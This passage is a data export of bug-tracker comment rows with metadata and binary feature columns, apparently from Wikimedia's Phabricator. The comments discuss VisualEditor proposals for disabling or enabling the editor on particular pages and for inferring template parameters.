+@MMiller_WMF cc'ing you for your awareness.",,,1590708453,,PHID-USER-7x5ai23ne5qampjf3g7r,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,True,,,360,,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1
+243667,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,Re-purposing this to flesh out bug 42139 comment 1.,,,1390417719,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,True,,,29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+243663,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,Dupe of bug 42139 (specifically bug 42139 comment 1)?,,,1374996450,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+54141,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"There are many pages for which VisualEditor is broken.  In some cases, the page syntax can be changed to avoid the problem.  In other cases (such as nlwp's largethumb, dewp dab pages, enwp episode lists), the design affects many pages, and the only feasible solution is to fix the parser.  While we wait for fixes, the VE should be disabled on those pages known to be affected.
+
+The set of pages to be VE-disabled could be a category, if you trust the villagers..:-)
+Or a page title blacklist in MediaWiki: namespace so it is admin only
+Or a page content regex blacklist in MediaWiki: namespace so it is easier to blacklist all pages which include a certain element.
+
+**See Also**: {T55767} (also declined)",Lowest,10.0,1374931800,1437697879.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_description,declined,True,c1,3,False,False,False,3,,1,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+650863,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),">>! In T54141#1568572, @Neil_P._Quinn_WMF wrote:
+> @Kipod, whether it's easy or hard it not really the main issue. The main issue is whether the benefits outweigh the downsides—and unfortunately there //are// downsides. These magic words would increase complexity, sometimes stay on pages long after the need is gone, and risk confusing users when no visual editor tab appears on a page where they expect to see it.
+> 
+> Today, the visual editor corrupts pages //far// less often than it did when this bug was filed two years ago, which makes me think that the benefits of these magic words would be small. Are there other reasons for having them?
+
+Has Paroid been round-trip tested against Wikisource pages in the main & Page: namespace?
+I am guessing there will be a new batch of page corruptions on Wikisource when it is deployed for the Page: namespace, if there has not been specific testing for the Page: namespace. Wikisource has some very odd hacks. Many thanks if this testing has already been done and there are no serious problems when it is deployed.
+
+An alternative would be for wikisource to add an editnotice, which is only shown for VE editors, for pages which have problems with VE. Then it can be more advisory:
+
+""this page may have problems with VE; please check the diff after saving changes. Report bugs at <x> ; if there are no bugs, remove this editnotice by <do y>.""",,,1461565625,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,147,,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,0,1,0,0,1,1,0,1,1,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+650706,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),">>! In T54141#1568572, @Neil_P._Quinn_WMF wrote:
+> Today, the visual editor corrupts pages //far// less often than it did when this bug was filed two years ago, which makes me think that the benefits of these magic words would be small. Are there other reasons for having them?
+
+The primary benefit I see is that I'd like to enable VE on pages where it will not be enabled globally. ",,,1461516395,,PHID-USER-fgzcdbj3je3ksnhufo47,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,146,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,0,1,1,1,0,1
+513675,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"@Kipod, whether it's easy or hard it not really the main issue. The main issue is whether the benefits outweigh the downsides—and unfortunately there //are// downsides. These magic words would increase complexity, sometimes stay on pages long after the need is gone, and risk confusing users when no visual editor tab appears on a page where they expect to see it.
+
+Today, the visual editor corrupts pages //far// less often than it did when this bug was filed two years ago, which makes me think that the benefits of these magic words would be small. Are there other reasons for having them?
+
+>this should override the namespace default, but _not_ the user personal choice (i.e., if the user elects to disable VE. 
+That only works for people who turn off the visual editor completely. If you disable the visual editor on a given page, I can no longer choose to use it. 
+
+Peace to you as well :)",,,1440440676,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,True,,,112,,0,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,1,1,0,0,1,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1
+513149,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"i see this is ""closed, declined"".
+since another ticket, opened by me, was ""closed, duplicate"" pointing here, i would like to request to reconsider.
+implementing my request should be very easy, controllable, requres no changes outside VE, and very simple change inside VE, and, oh, by the way, will also close/solve this one. so i paraphrase my previous request here:
+
+
+there are good reasons (i guess) not to enable VE on some namespaces, and specifically ""project"" namespace, but it would be desirable to be able to override it for specific pages.
+ 
+i was thinking something like adding two new magic words:
+
+
+```
+__ENABLE_VISUAL_EDITOR__
+__DISABLE_VISUAL_EDITOR__
+```
+this should override the namespace default, but _not_ the user personal choice (i.e., if the user elects to disable VE.
+
+implementing these two switches is 100% risk-free (currently there are no pages that use these magic words), and should be easy enough to implement, such that the switch that decides wheter or not to enable VE will test for these magic words, and make the correct decisiosn.
+
+so, implementing it would be risk-free, easy, and will soleve at least two legitimate requests that came from the community (with some 19 members subscribing to this ticket).
+
+maybe you should consider reopening. unfortunately i can't offer a patch to prove my claim that it's  ""easy""...
+
+
+peace.",,,1440372132,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,111,,1,1,1,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+513148,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"i see this is ""closed, declined"".
+since another ticket, opened by me, was ""closed, duplicate"" pointing here, i would like to request to reconsider.
+implementing my request should be very easy, controllable, requres no changes outside VE, and very simple change inside VE, and, oh, by the way, will also close/solve this one. so i paraphrase my previous request here:
+
+
+there are good reasons (i guess) not to enable VE on some namespaces, and specifically ""project"" namespace, but it would be desirable to be able to override it for specific pages.
+ 
+i was thinking something like
+
+
+```
+__ENABLE_VISUAL_EDITOR__
+__DISABLE_VISUAL_EDITOR__
+```
+this should override the namespace default, but _not_ the user personal choice (i.e., if the user elects to disable VE.
+
+implementing these two switches is 100% risk-free (currently there are no pages that use these magic words), and should be easy enough to implement, such that the switch that decides wheter or not to enable VE will test for these magic words, and make the correct decisiosn.
+
+so, implementing it would be risk-free, easy, and will soleve at least two legitimate requests that came from the community (with some 19 members subscribing to this ticket).
+
+maybe you should consider reopening. unfortunately i can't offer a patch to prove my claim that it's  ""easy""...
+
+
+peace.",,,1440372042,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,111,,1,1,1,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+513080,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"i see this is ""closed, declined"".
+since another ticket, opened by me, was ""closed, duplicate"" pointing here, i would like to request to reconsider.
+implementing my request should be very easy, controllable, requres no changes outside VE, and very simple change inside VE, and, oh, by the way, will also close/solve this one. so i paraphrase my previous request here:
+
+
+there are good reasons (i guess) not to enable VE on some namespaces, and specifically ""project"" namespace, but it would be desirable to be able to override it for specific pages.
+ 
+i was thinking something like
+
+__ENABLE_VISUAL_EDITOR__
+__DISABLE_VISUAL_EDITOR__
+this should override the namespace default, but _not_ the user personal choice (i.e., if the user elects to disable VE.
+
+implementing these two switches is 100% risk-free (currently there are no pages that use these magic words), and should be easy enough to implement, such that the switch that decides wheter or not to enable VE will test for these magic words, and make the correct decisiosn.
+
+so, implementing it would be risk-free, easy, and will soleve at least two legitimate requests that came from the community (with some 19 members subscribing to this ticket).
+
+maybe you should consider reopening. unfortunately i can't offer a patch to prove my claim that it's  ""easy""...
+
+
+peace.",,,1440351968,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,111,,1,1,1,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+502420,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"Hello, @Jdforrester-WMF. You merged T107426 here, but it is not the same problem. The main part over there was an ability to ENABLE the VisualEditor on a page in VE-disabled namespace. Thank you.
+",,,1438769968,,PHID-USER-t7ue4j3fnqznjjs4z5ef,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,True,,,109,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0
+496118,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),Agreed.,,,1437697879,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,True,,,107,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+496116,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),">>! In T54141#1312318, @ssastry wrote:
+> Yes, the largethumb template issue has been fixed since early 2014.
+> 
+> The only large-scale corruptions that have been reported have been due to transient bugs on deploys (which tend to be fixed quickly or deploys reverted). There are some pages on which Parsoid could potentially cause corruptions, but those one-off bugs tend to get fixed promptly. There are no large sets of pages that I am aware of that aren't handled properly on the Parsoid end. So, as far as I know, from the Parsoid perspective, this workaround shouldn't be needed.
+
+@Jdforrester-WMF, what do you think about declining this bug?
+
+",,,1437697817,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,True,,,107,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1
+463933,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"Yes, the largethumb template issue has been fixed since early 2014.
+
+The only large-scale corruptions that have been reported have been due to transient bugs on deploys (which tend to be fixed quickly or deploys reverted). There are some pages on which Parsoid could potentially cause corruptions, but those one-off bugs tend to get fixed promptly. There are no large sets of pages that I am aware of that aren't handled properly on the Parsoid end. So, as far as I know, from the Parsoid perspective, this workaround shouldn't be needed.",,,1432641854,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,True,,,99,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,1,0,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+463865,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"I'm pretty certain that the largethumb template issue has been fixed, and based on the lack of activity and concrete reports of ongoing large-scale corruptions it seems possible that the work-around described in this task might no longer be needed. @ssastry and @jdforrester-wmf: Could you chime in?",,,1432629212,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,True,,,99,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0
+463570,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"This is an old task, so it would be good to get some specificity around whether this is still an issue and under which circumstances. Can someone please re-validate this issue?",,,1432563831,,PHID-USER-v7pv6vw32wp56vc4wyt7,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,99,,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+463300,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"An interesting solution is to add a wikitext magic word `__NOVISUALEDITOR__` to disable it in contexts it might otherwise be enabled.
+
+https://www.mediawiki.org/wiki/Thread:Extension_talk:VisualEditor/Behavior_switch_NOVISUALEDITOR",,,1432543493,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,99,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+241870,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"An interesting solution is to add a wikitext magic word __NOVISUALEDITOR__ to disable it in contexts it might otherwise be enabled.
+
+https://www.mediawiki.org/wiki/Thread:Extension_talk:VisualEditor/Behavior_switch_NOVISUALEDITOR",,,1392433326,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,32,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+241866,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"(In reply to comment #6)
+> Obviously VE/Parsoid shouldn't cause breakage - the goal would be to keep
+> membership of that category close to zero at any given time. But if and when
+> things do break, it'd be good to have an official mechanism to deal with it,
+> rather than just template hacks.
+
+Bugzilla is the official mechanism for dealing with breakages.
+
+While it's easy to say that the goal would be to keep the category membership near zero, it sounds like (from reading comment 0) that this category would quickly include tens of thousands of pages.",,,1375488872,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+241860,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"Obviously VE/Parsoid shouldn't cause breakage - the goal would be to keep membership of that category close to zero at any given time. But if and when things do break, it'd be good to have an official mechanism to deal with it, rather than just template hacks.",,,1375488524,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+241856,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),I don't like the idea presented in bug 52489 (a blacklist category). VisualEditor simply shouldn't break pages ever. Users shouldn't be required to shield articles from it; that's a bit insane.,,,1375488293,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+241851,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"It would indeed be helpful to be able to selectively disable VisualEditor (we should indicate to a user who'd otherwise see VisualEditor that it is disabled, to reduce confusion).
+
+A hidden blacklist category could be included in a page or template to achieve
+the desired effect, and could be used by developers to prioritize roundtripping
+issues.",,,1375488230,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+241844,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),*** Bug 52489 has been marked as a duplicate of this bug. ***,,,1375488138,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241838,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"If WMF has spare compute power, Parsoid could flag which pages it _may_ break, and tell the VE extension to not enable itself on those pages.",,,1375047287,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+241834,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"A temporary solution is being developed: {{Disable VE top}} and {{Disable VE bottom}}
+
+https://en.wikipedia.org/wiki/Template:Disable_VE_top",,,1374991704,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1
+54135,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,"The Visual Mode editor of Wikia is able to check all the available parameters automatically without the need for editors to edit the TemplateData for each template manually which is unrealistic to be done for over 505k templates on English Wikipedia.
+However, Wikia's template editor has a severe flaw that it cannot handle a template to be included inside another template. The visual editor will deem the coding to be too complex and forcibly switch back to source mode editor.
+
+--------------------------
+**See Also**:
+T54581 / {T191756}",Lowest,10.0,1374901500,,PHID-USER-xnvlg7y5phtzugavv6wj,False,,False,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_description,open,True,c1,3,False,False,,3,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+702098,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,">>! In T54135#2501906, @Whatamidoing-WMF wrote:
+> The GUI for TemplateData can detect (or attempt to detect) parameters now.  I wonder whether that could be 'borrowed' by the template tool?
+
+It's not perfect, and in the GUI there is manual review involved before publication. However, from a user perspective, the only side-effect of the detection is suggestion of parameter names. Not anything beyond that. That's fairly harmless.
+
+If we're ready to try and make this kind of detection available to users without review, then I propose to do this in the TemplateData API instead of in VisualEditor.
+
+That way it will benefit all users of the data, not just VE. And it will keep the logic in the same repository. When VisualEditor fetches it from the API will automatically respond with either the authored data, or fallback to auto-detection for parameter keys.",,,1469726549,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,True,,,160,,1,1,0,0,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,0,0,0,1
+702097,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,">>! In T54135#2501906, @Whatamidoing-WMF wrote:
+> The GUI for TemplateData can detect (or attempt to detect) parameters now.  I wonder whether that could be 'borrowed' by the template tool?
+
+It's not perfect, and in the GUI there is manual review involved before publication. However, from a user perspective, the only side-effect of the detection is suggestion of parameter names. Not anything beyond that. That's fairly harmless.
+
+If we're ready to try and make this kind of detection available to users without review, then I propose to do this in the TemplateData API instead of in VisualEditor.
+
+That way it will benefit all users of the data, not just VE. And it will keep the logic in the same repository. When VisualEditor fetches it from the API which will automatically respond with either the authored data, or fallback to auto-detection for parameter keys.",,,1469726512,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,True,,,160,,1,1,0,0,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,0,0,0,1
+701968,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,The GUI for TemplateData can detect (or attempt to detect) parameters now.  I wonder whether that could be 'borrowed' by the template tool?,,,1469716429,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,False,,,160,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0
+241553,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,*** Bug 70228 has been marked as a duplicate of this bug. ***,,,1409694736,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,True,,,61,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241548,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,"(In reply to comment #2)
+> This is something we're unlikely to get to do soon, as it would require a
+> vast
+> amount of work (and, indeed, Strong AI to do properly). However, it would be
+> a
+> great improvement, yes.
+
